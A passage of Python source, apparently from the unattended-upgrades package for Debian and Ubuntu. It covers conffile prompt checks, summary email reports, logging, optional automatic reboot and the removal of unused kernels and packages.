resolve it after # being notified about the unexpected prompt logging.debug("found conffile %s is a directory on the system " % conf_file) return "dir" except FileNotFoundError: # if the local file got deleted by the admin thats ok but it may still # trigger a conffile promp (see debian #788049) logging.debug("conffile %s in missing on the system" % conf_file) return "" def map_conf_file(conf_file, conffiles): # type: (str, Union[AbstractSet[str], Dict[str, str]]) -> str """Find respective conffile in a set of conffiles with some heuristics """ if conf_file in conffiles: return conf_file elif os.path.join(conf_file, os.path.basename(conf_file)) in conffiles: # new /etc/foo may be old /etc/foo/foo, like in LP: #1822745 return os.path.join(conf_file, os.path.basename(conf_file)) elif os.path.dirname(conf_file) in conffiles: # new /etc/foo/foo may be old /etc/foo, probably by accident return os.path.dirname(conf_file) # TODO: peek into package's dpkg-maintscript-helper mv_conffile usage else: return None # prefix is *only* needed for the build-in tests def conffile_prompt(destFile, prefix=""): # type: (str, str) -> bool logging.debug("check_conffile_prompt(%s)" % destFile) pkgname = pkgname_from_deb(destFile) # get the conffiles for the /var/lib/dpkg/status file status_file = apt_pkg.config.find("Dir::State::status") with open(status_file, "r") as f: tagfile = apt_pkg.TagFile(f) conffiles = "" for section in tagfile: if section.get("Package") == pkgname: logging.debug("found pkg: %s" % pkgname) if "Conffiles" in section: conffiles = section.get("Conffiles") break # get conffile value from pkg, its ok if the new version # does not have conffiles anymore pkg_conffiles = set() # type: AbstractSet[str] try: deb = apt_inst.DebFile(destFile) pkg_conffiles = set(deb.control.extractdata( "conffiles").strip().decode("utf-8").split("\n")) except SystemError as e: print(_("Apt returned an error, exiting")) print(_("error message: %s") % e) logging.error(_("Apt returned an error, exiting")) logging.error(_("error message: %s"), e) raise except LookupError as e: logging.debug("No conffiles in deb %s (%s)" % (destFile, e)) if not pkg_conffiles: return False # Conffiles: # /etc/bash_completion.d/m-a c7780fab6b14d75ca54e11e992a6c11c dpkg_status_conffiles = {} for line in conffiles.splitlines(): # ignore empty lines line = line.strip() if not line: continue # show what we do logging.debug("conffile line: %s", line) li = line.split() conf_file = li[0] md5 = li[1] if len(li) > 2: obs = li[2] else: obs = None # ignore if conffile is obsolete if obs == "obsolete": continue # ignore state "newconffile" until its clearer if there # might be a dpkg prompt (LP: #936870) if md5 == "newconffile": continue new_conf_file = map_conf_file(conf_file, pkg_conffiles) if not new_conf_file: logging.debug("%s not in package conffiles %s" % ( conf_file, pkg_conffiles)) continue # record for later dpkg_status_conffiles[conf_file] = md5 # test against the installed file, if the local file got deleted # by the admin thats ok but it may still trigger a conffile prompt # (see debian #788049) current_md5 = get_md5sum_for_file_installed(conf_file, prefix) logging.debug("current md5: %s" % current_md5) # hashes are the same, no conffile prompt if current_md5 == md5: continue # calculate md5sum from the deb (may take a bit) pkg_md5sum = get_md5sum_for_file_in_deb(destFile, new_conf_file) logging.debug("pkg_md5sum: %s" % pkg_md5sum) # the md5sum in the deb is unchanged, this will not # trigger a conffile prompt if pkg_md5sum == md5: continue # if we made it to this point: # current_md5 != pkg_md5sum != md5 # and that will trigger a conffile prompt, we can # stop processing at this point and just return True return True # now check if there are conffiles in the pkg that where not there # in the previous version in the dpkg status file if pkg_conffiles: for conf_file in pkg_conffiles: old_conf_file = map_conf_file(conf_file, dpkg_status_conffiles) if not old_conf_file: pkg_md5sum = get_md5sum_for_file_in_deb(destFile, conf_file) current_md5 = get_md5sum_for_file_installed(conf_file, prefix) if current_md5 != "" and pkg_md5sum != current_md5: return True return False def dpkg_conffile_prompt(): # type: () -> bool if "DPkg::Options" not in apt_pkg.config: return True options = apt_pkg.config.value_list("DPkg::Options") for option in options: option = option.strip() if option in ["--force-confold", "--force-confnew"]: return False return True def rewind_cache(cache, pkgs_to_upgrade): # type: (UnattendedUpgradesCache, List[apt.Package]) -> None """ set the cache back to the state with packages_to_upgrade """ cache.clear() for pkg2 in pkgs_to_upgrade: cache.mark_install_adjusted(pkg2, from_user=not pkg2.is_auto_installed) if cache.broken_count > 0: raise AssertionError("rewind_cache created a broken cache") def host(): # type: () -> str return socket.getfqdn() def wrap_indent(t, subsequent_indent=" "): # type: (str, str) -> str return "\n".join(wrap(t, break_on_hyphens=False, subsequent_indent=subsequent_indent)) def setup_apt_listchanges(conf="/etc/apt/listchanges.conf"): # type: (str) -> None """ deal with apt-listchanges """ # apt-listchanges will always send a mail if there is a mail address # set in the config regardless of the frontend used, so set it to # mail if we have a sendmail and to none if not (as it appears to # not check if sendmail is there or not), debian bug #579733 if os.path.exists(SENDMAIL_BINARY): os.environ["APT_LISTCHANGES_FRONTEND"] = "mail" else: os.environ["APT_LISTCHANGES_FRONTEND"] = "none" def _send_mail_using_mailx(from_address, to_address, subject, body): # type: (str, str, str, str) -> int # ensure that the body is a byte stream and that we do not # break on encoding errors (the default error mode is "strict") encoded_body = body.encode( locale.getpreferredencoding(False), errors="replace") # we use a binary pipe to stdin to ensure we do not break on # unicode encoding errors (e.g. because the user is running a # ascii only system like the buildds) mail = subprocess.Popen( [MAIL_BINARY, "-r", from_address, "-s", subject, to_address], stdin=subprocess.PIPE, universal_newlines=False) mail.stdin.write(encoded_body) mail.stdin.close() ret = mail.wait() return ret def _send_mail_using_sendmail(from_address, to_address, subject, body): # type: (str, str, str, str) -> int # format as a proper mail msg = Message() msg['Subject'] = subject msg['From'] = from_address msg['To'] = to_address msg['Auto-Submitted'] = "auto-generated" # order is important here, Message() first, then Charset() # then msg.set_charset() charset = email.charset.Charset("utf-8") charset.body_encoding = email.charset.QP # type: ignore msg.set_payload(body, charset) # and send it away sendmail = subprocess.Popen( [SENDMAIL_BINARY, "-oi", "-t"], stdin=subprocess.PIPE, universal_newlines=True) sendmail.stdin.write(msg.as_string()) sendmail.stdin.close() ret = sendmail.wait() return ret def send_summary_mail(pkgs, # type: List[str] res, # type: bool result_str, # type: str pkgs_kept_back, # type: KeptPkgs pkgs_removed, # type: List[str] pkgs_kept_installed, # type: List[str] mem_log, # type: StringIO dpkg_log_content, # type: str ): # type: (...) -> None """ send mail (if configured in Unattended-Upgrade::Mail) """ to_email = apt_pkg.config.find("Unattended-Upgrade::Mail", "") if not to_email: return if not os.path.exists(MAIL_BINARY) and not os.path.exists(SENDMAIL_BINARY): logging.error(_("No /usr/bin/mail or /usr/sbin/sendmail, " "can not send mail. " "You probably want to install the mailx package.")) return # The admin may well wish to get a mail report regardless of what was done. # This is now set by Unattended-Upgrade::MailReport values of: # "always", "only-on-error" or "on-change" # (you can achieve "never" by not setting Unattended-Upgrade::Mail). # If this is not set, then set it using any legacy MailOnlyOnError # setting (default True) # mail_opt = apt_pkg.config.find("Unattended-Upgrade::MailReport") if (mail_opt == ""): # None set - map from legacy value if apt_pkg.config.find_b("Unattended-Upgrade::MailOnlyOnError", False): mail_opt = "only-on-error" else: mail_opt = "on-change" # if the operation was successful and the user has requested to get # mails only on errors, just exit here if (res and (mail_opt == "only-on-error")): return # if the run was successful but nothing had to be done skip sending email # unless the admin wants it anyway if (((mail_opt != "always") and res and not pkgs and not pkgs_kept_back and not pkgs_removed)): return # Check if reboot-required flag is present reboot_flag_str = _( "[reboot required]") if os.path.isfile(REBOOT_REQUIRED_FILE) else "" # Check if packages are kept on hold hold_flag_str = (_("[package on hold]") if pkgs_kept_back or pkgs_kept_installed else "") logging.debug("Sending mail to %s" % to_email) subject = _( "{hold_flag}{reboot_flag} unattended-upgrades result for " "{machine}: {result}").format( hold_flag=hold_flag_str, reboot_flag=reboot_flag_str, machine=host(), result="SUCCESS" if res else "FAILURE").strip() body = wrap_indent(_("Unattended upgrade result: %s") % result_str) body += "\n\n" if os.path.isfile(REBOOT_REQUIRED_FILE): body += _( "Warning: A reboot is required to complete this upgrade, " "or a previous one.\n\n") if pkgs: if res: body += _("Packages that were upgraded:\n") else: body += _("Packages that attempted to upgrade:\n") body += " " + wrap_indent(" ".join(pkgs)) body += "\n\n" if pkgs_kept_back: body += _("Packages with upgradable origin but kept back:\n") for origin, origin_pkgs in pkgs_kept_back.items(): body += " " + origin + ":\n" body += " " + wrap_indent(" ".join(origin_pkgs), subsequent_indent=" ") + "\n" body += "\n" if pkgs_removed: body += _("Packages that were auto-removed:\n") body += " " + wrap_indent(" ".join(pkgs_removed)) body += "\n\n" if pkgs_kept_installed: body += _("Packages that were kept from being auto-removed:\n") body += " " + wrap_indent(" ".join(pkgs_kept_installed)) body += "\n\n" if dpkg_log_content: body += _("Package installation log:") + "\n" body += dpkg_log_content body += "\n\n" body += _("Unattended-upgrades log:\n") body += mem_log.getvalue() from_email = apt_pkg.config.find("Unattended-Upgrade::Sender", "root") if os.path.exists(SENDMAIL_BINARY): ret = _send_mail_using_sendmail(from_email, to_email, subject, body) elif os.path.exists(MAIL_BINARY): ret = _send_mail_using_mailx(from_email, to_email, subject, body) else: raise AssertionError( "This should never be reached as we previously validated that we " "either have sendmail or mailx. Maybe they've been removed in " "this right moment?") logging.debug("mail returned: %s", ret) def do_install(cache, # type: UnattendedUpgradesCache pkgs_to_upgrade, # type: List[str] options, # type: Options logfile_dpkg, # type: str ): # type: (...) -> bool setup_apt_listchanges() logging.info(_("Writing dpkg log to %s"), logfile_dpkg) if cache.get_changes(): cache.clear() pkg_install_success = False try: if options.minimal_upgrade_steps: # try upgrade all "pkgs" in minimal steps pkg_install_success = upgrade_in_minimal_steps( cache, pkgs_to_upgrade, logfile_dpkg, options.verbose or options.debug) else: mark_pkgs_to_upgrade(cache, pkgs_to_upgrade) pkg_install_success = upgrade_normal( cache, logfile_dpkg, options.verbose or options.debug) except Exception as e: # print unhandled exceptions here this way, while stderr is redirected os.write(2, ("Exception: %s\n" % e).encode('utf-8')) pkg_install_success = False return pkg_install_success def _setup_alternative_rootdir(rootdir): # type: (str) -> None # clear system unattended-upgrade stuff apt_pkg.config.clear("Unattended-Upgrade") # read rootdir (taken from apt.Cache, but we need to run it # here before the cache gets initialized if os.path.exists(rootdir + "/etc/apt/apt.conf"): apt_pkg.read_config_file(apt_pkg.config, rootdir + "/etc/apt/apt.conf") if os.path.isdir(rootdir + "/etc/apt/apt.conf.d"): apt_pkg.read_config_dir(apt_pkg.config, rootdir + "/etc/apt/apt.conf.d") logdir = os.path.join(rootdir, "var", "log", "unattended-upgrades") if not os.path.exists(logdir): os.makedirs(logdir) apt.apt_pkg.config.set("Unattended-Upgrade::LogDir", logdir) def _get_logdir(): # type: () -> str logdir = apt_pkg.config.find_dir( "Unattended-Upgrade::LogDir", # COMPAT only apt_pkg.config.find_dir("APT::UnattendedUpgrades::LogDir", "/var/log/unattended-upgrades/")) return logdir def _setup_logging(options): # type: (Options) -> StringIO # ensure this is run only once if len(logging.root.handlers) > 0: return None # init the logging logdir = _get_logdir() logfile = os.path.join( logdir, apt_pkg.config.find( "Unattended-Upgrade::LogFile", # COMPAT only apt_pkg.config.find("APT::UnattendedUpgrades::LogFile", "unattended-upgrades.log"))) if not options.dry_run and not os.path.exists(logdir): os.makedirs(logdir) logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s', filename=logfile) # additional logging logger = logging.getLogger() mem_log = StringIO() if options.apt_debug: apt_pkg.config.set("Debug::pkgProblemResolver", "1") apt_pkg.config.set("Debug::pkgDepCache::AutoInstall", "1") if options.debug: logger.setLevel(logging.DEBUG) stdout_handler = logging.StreamHandler(sys.stdout) logger.addHandler(stdout_handler) elif options.verbose: logger.setLevel(logging.INFO) stdout_handler = logging.StreamHandler(sys.stdout) logger.addHandler(stdout_handler) if apt_pkg.config.find("Unattended-Upgrade::Mail", ""): mem_log_handler = logging.StreamHandler(mem_log) logger.addHandler(mem_log_handler) # Configure syslog if necessary syslogEnable = apt_pkg.config.find_b("Unattended-Upgrade::SyslogEnable", False) if syslogEnable: syslogFacility = apt_pkg.config.find( "Unattended-Upgrade::SyslogFacility", "daemon") syslogHandler = logging.handlers.SysLogHandler( address='/dev/log', facility=syslogFacility) # type: ignore syslogHandler.setFormatter( logging.Formatter("unattended-upgrade: %(message)s")) known = syslogHandler.facility_names.keys() # type: ignore if syslogFacility.lower() in known: logger.addHandler(syslogHandler) logging.info("Enabled logging to syslog via %s facility " % syslogFacility) else: logging.warning("Syslog facility %s was not found" % syslogFacility) return mem_log def logged_in_users(): # type: () -> AbstractSet[str] """Return a list of logged in users""" # the "users" command always returns a single line with: # "user1, user1, user2" users = subprocess.check_output( USERS, universal_newlines=True).rstrip('\n') return set(users.split()) def reboot_if_requested_and_needed(): # type: () -> None """auto-reboot (if required and the config for this is set)""" if not os.path.exists(REBOOT_REQUIRED_FILE): return if not apt_pkg.config.find_b( "Unattended-Upgrade::Automatic-Reboot", False): return # see if we need to check for logged in users if not apt_pkg.config.find_b( "Unattended-Upgrade::Automatic-Reboot-WithUsers", True): users = logged_in_users() if users: msg = gettext.ngettext( "Found %s, but not rebooting because %s is logged in." % ( REBOOT_REQUIRED_FILE, users), "Found %s, but not rebooting because %s are logged in." % ( REBOOT_REQUIRED_FILE, users), len(users)) logging.warning(msg) return # reboot at the specified time when = apt_pkg.config.find( "Unattended-Upgrade::Automatic-Reboot-Time", "now") logging.warning("Found %s, rebooting" % REBOOT_REQUIRED_FILE) cmd = ["/sbin/shutdown", "-r", when] try: shutdown_msg = subprocess.check_output(cmd, stderr=subprocess.STDOUT) if shutdown_msg.strip(): logging.warning("Shutdown msg: %s", shutdown_msg.strip()) except Exception as e: logging.error("Failed to issue shutdown: %s", e) def write_stamp_file(): # type: () -> None statedir = os.path.join(apt_pkg.config.find_dir("Dir::State"), "periodic") if not os.path.exists(statedir): os.makedirs(statedir) with open(os.path.join(statedir, "unattended-upgrades-stamp"), "w"): pass def try_to_upgrade(pkg, # type: apt.Package pkgs_to_upgrade, # type: List[apt.Package] cache, # type: UnattendedUpgradesCache ): # type: (...) -> None try: try: # try to adjust pkg itself first, if that throws an exception it # can't be upgraded on its own cache.adjust_candidate(pkg) if not pkg.is_upgradable and not apt_pkg.config.find_b( "Unattended-Upgrade::Allow-downgrade", False): return except NoAllowedOriginError: return cache._cached_candidate_pkgnames.add(pkg.name) cache.mark_upgrade_adjusted(pkg, from_user=not pkg.is_auto_installed) if check_changes_for_sanity(cache, pkg): # add to packages to upgrade pkgs_to_upgrade.append(pkg) else: rewind_cache(cache, pkgs_to_upgrade) except (SystemError, NoAllowedOriginError) as e: # can't upgrade logging.warning( _("package %s upgradable but fails to " "be marked for upgrade (%s)"), pkg.name, e) rewind_cache(cache, pkgs_to_upgrade) def candidate_version_changed(pkg, # type: apt.Package ): return (pkg.is_installed and pkg.candidate and pkg.candidate.version != pkg.installed.version and apt_pkg.config.find_b( 'Unattended-Upgrade::Allow-downgrade', False)) def calculate_upgradable_pkgs(cache, # type: UnattendedUpgradesCache options, # type: Options ): # type: (...) -> List[apt.Package] pkgs_to_upgrade = [] # type: List[apt.Package] # now do the actual upgrade for pkg in cache: if options.debug and pkg.is_upgradable \ or candidate_version_changed(pkg): logging.debug("Checking: %s (%s)" % ( pkg.name, getattr(pkg.candidate, "origins", []))) if (pkg.is_upgradable or candidate_version_changed(pkg) and is_pkgname_in_whitelist(pkg.name, cache.whitelist)): try: ver_in_allowed_origin(pkg, cache.allowed_origins) except NoAllowedOriginError: continue try_to_upgrade(pkg, pkgs_to_upgrade, cache) if cache.get_changes(): cache.clear() return pkgs_to_upgrade def get_dpkg_log_content(logfile_dpkg, install_start_time): # type: (str, datetime.datetime) -> str logging.debug("Extracting content from %s since %s" % ( logfile_dpkg, install_start_time)) content = [] found_start = False try: with io.open(logfile_dpkg, encoding='utf-8', errors='replace') as fp: # read until we find the last "Log started: " for line in fp.readlines(): # scan for the first entry we need (minimal-step mode # creates a new stanza for each individual install) if not found_start and line.startswith("Log started: "): stanza_start = LoggingDateTime.from_string( line[len("Log started: "):-1]) if stanza_start >= install_start_time: found_start = True if found_start: # skip progress indicator until #860931 is fixed in apt # and dpkg if re.match( "^\\(Reading database \\.\\.\\. ()|([0-9]+%)$", line): continue content.append(line) return "".join(content) except FileNotFoundError: return "" def get_auto_removable(cache): # type: (apt.Cache) -> AbstractSet[str] return {pkg.name for pkg in cache if pkg.is_auto_removable} def is_autoremove_valid(cache, # type: UnattendedUpgradesCache pkgname, # type: str auto_removable, # type: AbstractSet[str] ): # type: (...) -> bool changes = cache.get_changes() if not changes: # package is already removed return True pkgnames = {pkg.name for pkg in changes} for pkg in changes: if not is_pkg_change_allowed(pkg, cache.blacklist, cache.whitelist, cache.strict_whitelist): logging.warning( _("Keeping the following auto-removable package(s) because " "they include %s which is set to be kept unmodified: %s"), pkg.name, " ".join(sorted(pkgnames))) return False if not pkgnames.issubset(auto_removable): if pkgname != "": logging.warning( _("Keeping auto-removable %s package(s) because it would" " also remove the following packages which should " "be kept in this step: %s"), pkgname, " ".join(sorted(pkgnames - auto_removable))) else: logging.warning( _("Keeping %s auto-removable package(s) because it would" " also remove the following packages which should " "be kept in this step: %s"), len(auto_removable), " ".join(sorted(pkgnames - auto_removable))) return False for packagename in pkgnames: if cache.running_kernel_pkgs_regexp and \ cache.running_kernel_pkgs_regexp.match(packagename): logging.warning( _("Keeping the following auto-removable package(s) because " "they include %s which package is related to the running " "kernel: %s"), packagename, " ".join(sorted(pkgnames))) return False if cache.install_count > 0: logging.error( "The following packages are marked for installation or upgrade " "which is not allowed when performing autoremovals: %s", " ".join([pkg.name for pkg in changes if not pkg.marked_delete])) return False return True def do_auto_remove(cache, # type: UnattendedUpgradesCache auto_removable, # type: AbstractSet[str] logfile_dpkg, # type: str minimal_steps, # type: bool verbose=False, # type: bool dry_run=False # type: bool ): # type: (...) -> Tuple[bool, List[str], List[str]] res = True if not auto_removable: return (res, [], []) pkgs_removed = [] # type: List[str] pkgs_kept_installed = [] # type: List[str] if minimal_steps: for pkgname in auto_removable: if should_stop(): pkgs_kept_installed = list(auto_removable - set(pkgs_removed)) return (False, pkgs_removed, pkgs_kept_installed) logging.debug("marking %s for removal" % pkgname) if pkgname in pkgs_removed: continue cache[pkgname].mark_delete() if not is_autoremove_valid(cache, pkgname, auto_removable): # this situation can occur when removing newly unused packages # would also remove old unused packages which are not set # for removal, thus getting there is not handled as an error pkgs_kept_installed.append(pkgname) cache.clear() continue if not dry_run: changes = cache.get_changes() pkgnames = {pkg.name for pkg in changes} res, error = cache_commit(cache, logfile_dpkg, verbose) if not res: break pkgs_removed.extend(pkgnames) else: cache.clear() else: for pkgname in auto_removable: cache[pkgname].mark_delete() if is_autoremove_valid(cache, "", auto_removable): # do it in one step if not dry_run: res, error = cache_commit(cache, logfile_dpkg, verbose) else: cache.clear() else: cache.clear() if res: logging.info(_("Packages that were successfully auto-removed: %s"), " ".join(sorted(pkgs_removed))) logging.info(_("Packages that are kept back: %s"), " ".join(sorted(pkgs_kept_installed))) if not res: cache.clear() logging.error(_("Auto-removing the packages failed!")) logging.error(_("Error message: %s"), error) logging.error(_("dpkg returned an error! See %s for details"), logfile_dpkg) return (res, pkgs_removed, pkgs_kept_installed) def clean_downloaded_packages(fetcher): # type: (apt_pkg.Acquire) -> None archivedir = os.path.dirname( apt_pkg.config.find_dir("Dir::Cache::archives")) for item in fetcher.items: if os.path.dirname(os.path.abspath(item.destfile)) == archivedir: try: os.unlink(item.destfile) except OSError: pass def is_update_day(): # type: () -> bool # check if patch days are configured patch_days = apt_pkg.config.value_list("Unattended-Upgrade::Update-Days") if not patch_days: return True # validate patch days today = date.today() # abbreviated localized dayname if today.strftime("%a") in patch_days: return True # full localized dayname if today.strftime("%A") in patch_days: return True # by number (Sun: 0, Mon: 1, ...) if today.strftime("%w") in patch_days: return True # today is not a patch day logging.info( "Skipping update check: today is %s,%s,%s but patch days are %s", today.strftime("%w"), today.strftime("%a"), today.strftime("%A"), ", ".join(patch_days)) return False def update_kept_pkgs_file(kept_pkgs, kept_file): # type: (DefaultDict[str, List[str]], str) -> None if kept_pkgs: pkgs_all_origins = set() for origin_pkgs in kept_pkgs.values(): pkgs_all_origins.update(origin_pkgs) try: with open(kept_file, "w") as kf: kf.write(" ".join(sorted(pkgs_all_origins))) except FileNotFoundError: logging.error(_("Could not open %s for saving list of packages " "kept back." % kept_file)) else: if os.path.exists(kept_file): os.remove(kept_file) def main(options, rootdir="/"): # type: (Options, str) -> int # useful for testing if not rootdir == "/": _setup_alternative_rootdir(rootdir) # see debian #776752 install_start_time = datetime.datetime.now().replace(microsecond=0) # setup logging mem_log = _setup_logging(options) # get log logfile_dpkg = os.path.join(_get_logdir(), 'unattended-upgrades-dpkg.log') if not os.path.exists(logfile_dpkg): with open(logfile_dpkg, 'w'): pass # lock for the shutdown check shutdown_lock = apt_pkg.get_lock(LOCK_FILE) if shutdown_lock < 0: logging.error("Lock file is already taken, exiting") return 1 try: res = run(options, rootdir, mem_log, logfile_dpkg, install_start_time) if res.success and res.result_str: # complete, successful run update_kept_pkgs_file(res.pkgs_kept_back, os.path.join(rootdir, KEPT_PACKAGES_FILE)) if res.result_str and not options.dry_run: # there is some meaningful result which is worth an email log_content = get_dpkg_log_content(logfile_dpkg, install_start_time) send_summary_mail(res.pkgs, res.success, res.result_str, res.pkgs_kept_back, res.pkgs_removed, res.pkgs_kept_installed, mem_log, log_content) if res.update_stamp: # write timestamp file write_stamp_file() if not options.dry_run: # check if the user wants a reboot reboot_if_requested_and_needed() os.close(shutdown_lock) if res.success: return 0 else: return 1 except Exception as e: logger = logging.getLogger() logger.exception(_("An error occurred: %s"), e) log_content = get_dpkg_log_content(logfile_dpkg, install_start_time) if not options.dry_run: send_summary_mail(["<unknown>"], False, _("An error occurred"), None, [], [], mem_log, log_content) # Re-raise exceptions for apport raise def mark_pkgs_to_upgrade(cache, pkgs_to_upgrade): # type (apt.Cache, List[str]) -> None for pkg_name in pkgs_to_upgrade: pkg = cache[pkg_name] if pkg.is_upgradable \ or (pkg.is_installed and pkg.candidate.version != pkg.installed.version) \ and apt_pkg.config.find_b("Unattended-Upgrade::Allow-downgrade", False): cache.mark_upgrade_adjusted(pkg, from_user=not pkg.is_auto_installed) elif not pkg.is_installed: cache.mark_install_adjusted(pkg, from_user=False) def run(options, # type: Options rootdir, # type: str mem_log, # type: StringIO logfile_dpkg, # type: str install_start_time, # type: datetime.datetime ): # type: (...) -> UnattendedUpgradesResult # check if today is a patch day if not is_update_day(): return UnattendedUpgradesResult(True) # check if u-u should be stopped already if should_stop(): return UnattendedUpgradesResult(False) # check to see if want to auto-upgrade the devel release if apt_pkg.config.find("Unattended-Upgrade::DevRelease") == "auto": try: if DISTRO_ID.lower() == 'ubuntu': devel = (distro_info.UbuntuDistroInfo() . devel(result="object")) elif DISTRO_ID.lower() == 'debian': devel = (distro_info.DebianDistroInfo() . devel(result="object")) else: devel = (distro_info.DistroInfo(DISTRO_ID) . devel(result="object")) except Exception as e: logging.warning("Could not figure out development release: %s" % e) else: if ((devel.series == DISTRO_CODENAME and devel.release is not None and devel.release - date.today() > DEVEL_UNTIL_RELEASE)): syslog.syslog((_("Not running on this development " "release before %s") % (devel.release - DEVEL_UNTIL_RELEASE - datetime.timedelta(days=1)))) logging.warning(_("Not running on this development " "release before %s") % (devel.release - DEVEL_UNTIL_RELEASE - datetime.timedelta(days=1))) return UnattendedUpgradesResult(True) logging.debug("Running on the development release") elif "(development branch)" in DISTRO_DESC and not\ apt_pkg.config.find_b("Unattended-Upgrade::DevRelease", True): syslog.syslog(_("Not running on the development release.")) logging.info(_("Not running on the development release.")) return UnattendedUpgradesResult(True) logging.info(_("Starting unattended upgrades script")) # check and get lock try: apt_pkg.pkgsystem_lock() except SystemError: logging.error(_("Lock could not be acquired (another package " "manager running?)")) print(_("Cache lock can not be acquired, exiting")) return UnattendedUpgradesResult( False, _("Lock could not be acquired")) # check if the journal is dirty and if so, take emergceny action # the alternative is to leave the system potentially unsecure until # the user comes in and fixes if is_dpkg_journal_dirty() and \ apt_pkg.config.find_b("Unattended-Upgrade::AutoFixInterruptedDpkg", True): logging.warning( _("Unclean dpkg state detected, trying to correct")) print(_("Unclean dpkg state detected, trying to correct")) env = copy.copy(os.environ) env["DPKG_FRONTEND_LOCKED"] = "1" try: with Unlocked(): output = subprocess.check_output( ["dpkg", "--force-confold", "--configure", "-a"], env=env, universal_newlines=True) except subprocess.CalledProcessError as e: output = e.output logging.warning(_("dpkg --configure -a output:\n%s"), output) # get a cache try: cache = UnattendedUpgradesCache(rootdir=rootdir) except SystemError as error: print(_("Apt returned an error, exiting")) print(_("error message: %s") % error) logging.error(_("Apt returned an error, exiting")) logging.error(_("error message: %s"), error) return UnattendedUpgradesResult( False, _("Apt returned an error, exiting")) if cache._depcache.broken_count > 0: print(_("Cache has broken packages, exiting")) logging.error(_("Cache has broken packages, exiting")) return UnattendedUpgradesResult( False, _("Cache has broken packages, exiting")) # FIXME: make this into a ContextManager # be nice when calculating the upgrade as its pretty CPU intensive old_priority = os.nice(0) try: # Check that we will be able to restore the priority os.nice(-1) os.nice(20) except OSError as e: if e.errno in (errno.EPERM, errno.EACCES): pass else: raise auto_removable = get_auto_removable(cache) # find out about the packages that are upgradable (in an allowed_origin) pkgs_to_upgrade = calculate_upgradable_pkgs(cache, options) pkgs_to_upgrade.sort(key=lambda p: p.name) pkgs = [pkg.name for pkg in pkgs_to_upgrade] logging.debug("pkgs that look like they should be upgraded: %s" % "\n".join(pkgs)) # FIXME: make this into a ContextManager # stop being nice os.nice(old_priority - os.nice(0)) # download what looks good mark_pkgs_to_upgrade(cache, pkgs) if options.debug: fetcher = apt_pkg.Acquire(apt.progress.text.AcquireProgress()) else: fetcher = apt_pkg.Acquire() list = apt_pkg.SourceList() list.read_main_list() recs = cache._records pm = apt_pkg.PackageManager(cache._depcache) # don't start downloading during shutdown # TODO: download files one by one and check for stop request after each of # them if should_stop(): return UnattendedUpgradesResult(False, _("Upgrade was interrupted")) try: pm.get_archives(fetcher, list, recs) except SystemError as e: logging.error(_("GetArchives() failed: %s"), e) try: res = fetcher.run() logging.debug("fetch.run() result: %s", res) except SystemError as e: logging.error("fetch.run() result: %s", e) if options.download_only: return UnattendedUpgradesResult(True) if cache.get_changes(): cache.clear() pkg_conffile_prompt = False if dpkg_conffile_prompt(): # now check the downloaded debs for conffile conflicts and build # a blacklist conffile_blacklist = [] # type: List[str] for item in fetcher.items: logging.debug("%s" % item) if item.status == item.STAT_ERROR: print(_("An error occurred: %s") % item.error_text) logging.error(_("An error occurred: %s"), item.error_text) if not item.complete: print(_("The URI %s failed to download, aborting") % item.desc_uri) logging.error(_("The URI %s failed to download, aborting"), item.desc_uri) return UnattendedUpgradesResult( False, (_("The URI %s failed to download, aborting") % item.desc_uri)) if not os.path.exists(item.destfile): print(_("Download finished, but file %s not there?!?") % item.destfile) logging.error("Download finished, but file %s not " "there?!?", item.destfile) return UnattendedUpgradesResult( False, (_("Download finished, but file %s not there?!?") % item.destfile)) if not item.is_trusted and not apt_pkg.config.find_b( "APT::Get::AllowUnauthenticated", False): logging.debug("%s is blacklisted because it is not trusted") pkg_name = pkgname_from_deb(item.destfile) if not is_pkgname_in_blacklist(pkg_name, cache.blacklist): conffile_blacklist.append("%s$" % re.escape(pkg_name)) if not is_deb(item.destfile): logging.debug("%s is not a .deb file" % item) continue if conffile_prompt(item.destfile): # skip package (means to re-run the whole marking again # and making sure that the package will not be pulled in by # some other package again!) # # print to stdout to ensure that this message is part of # the cron mail (only if no summary mail is requested) email = apt_pkg.config.find("Unattended-Upgrade::Mail", "") if not email: print(_("Package %s has conffile prompt and needs " "to be upgraded manually") % pkgname_from_deb(item.destfile)) # log to the logfile logging.warning(_("Package %s has conffile prompt and " "needs to be upgraded manually"), pkgname_from_deb(item.destfile)) pkg_name = pkgname_from_deb(item.destfile) if not is_pkgname_in_blacklist(pkg_name, cache.blacklist): conffile_blacklist.append("%s$" % re.escape(pkg_name)) pkg_conffile_prompt = True # redo the selection about the packages to upgrade based on the new # blacklist logging.debug("Packages blacklist due to conffile prompts: %s" % conffile_blacklist) # find out about the packages that are upgradable (in a allowed_origin) if len(conffile_blacklist) > 0: for regex in conffile_blacklist: cache.blacklist.append(regex) cache.apply_pinning(cache.pinning_from_regex_list( conffile_blacklist, NEVER_PIN)) # type: ignore old_pkgs_to_upgrade = pkgs_to_upgrade[:] pkgs_to_upgrade = [] for pkg in old_pkgs_to_upgrade: logging.debug("Checking the black and whitelist: %s" % (pkg.name)) cache.mark_upgrade_adjusted( pkg, from_user=not pkg.is_auto_installed) if check_changes_for_sanity(cache): pkgs_to_upgrade.append(pkg) else: logging.info(_("package %s not upgraded"), pkg.name) cache.clear() for pkg2 in pkgs_to_upgrade: cache.call_adjusted( apt.package.Package.mark_upgrade, pkg2, from_user=not pkg2.is_auto_installed) if cache.get_changes(): cache.clear() else: logging.debug("dpkg is configured not to cause conffile prompts") # auto-removals kernel_pkgs_remove_success = True # type: bool kernel_pkgs_removed = [] # type: List[str] kernel_pkgs_kept_installed = [] # type: List[str] if (auto_removable and apt_pkg.config.find_b( "Unattended-Upgrade::Remove-Unused-Kernel-Packages", True)): # remove unused kernels before installing new ones because the newly # installed ones may fill up /boot and break the system right before # removing old ones could take place # # this step may also remove _auto-removable_ reverse dependencies # of kernel packages auto_removable_kernel_pkgs = { p for p in auto_removable if (cache.versioned_kernel_pkgs_regexp and cache.versioned_kernel_pkgs_regexp.match(p) and not cache.running_kernel_pkgs_regexp.match(p))} if auto_removable_kernel_pkgs: logging.info(_("Removing unused kernel packages: %s"), " ".join(auto_removable_kernel_pkgs)) (kernel_pkgs_remove_success, kernel_pkgs_removed, kernel_pkgs_kept_installed) = do_auto_remove( cache, auto_removable_kernel_pkgs, logfile_dpkg, options.minimal_upgrade_steps, options.verbose or options.debug, options.dry_run) auto_removable = get_auto_removable(cache) previous_autoremovals = auto_removable if apt_pkg.config.find_b( "Unattended-Upgrade::Remove-Unused-Dependencies", False): pending_autoremovals = previous_autoremovals else: 